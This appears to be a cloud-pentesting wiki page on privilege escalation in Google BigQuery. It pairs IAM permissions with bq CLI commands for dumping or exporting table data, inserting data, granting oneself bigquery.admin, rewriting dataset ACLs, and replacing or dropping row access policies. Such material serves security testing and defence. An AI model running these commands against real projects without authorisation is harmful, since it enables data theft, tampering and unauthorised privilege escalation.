GCP - BigQuery Privesc

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BigQuery

For more information about BigQuery check:

GCP - Bigquery Enum

Read Table

Reading the information stored inside the a BigQuery table it might be possible to find sensitive information. To access the info the permission needed is bigquery.tables.get , bigquery.jobs.create and bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Export data

This is another way to access the data. Export it to a cloud storage bucket and the download the files with the information.
To perform this action the following permissions are needed: bigquery.tables.export, bigquery.jobs.create and storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

It might be possible to introduce certain trusted data in a Bigquery table to abuse a vulnerability in some other place. This can be easily done with the permissions bigquery.tables.get , bigquery.tables.updateData and bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

An attacker could abuse this privilege to give himself further permissions over a BigQuery dataset:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
    --member='user:<email>' \
    --role='roles/bigquery.admin' \
    <proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Just this permission allows to update your access over a BigQuery dataset by modifying the ACLs that indicate who can access it:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

An attacker could abuse this privilege to give himself further permissions over a BigQuery table:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
    --member='user:<email>' \
    --role='roles/bigquery.admin' \
    <proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

According to the docs, with the mention permissions it's possible to update a row policy.
However, using the cli bq you need some more: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

It's possible to find the filter ID in the output of the row policies enumeration. Example:

 bq ls --row_access_policies <proj>:<dataset>.<table>

      Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
 ------------- ------------------ ----------------------------- ----------------- --------------------
  apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

If you have bigquery.rowAccessPolicies.delete instead of bigquery.rowAccessPolicies.update you could also just delete the policy:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'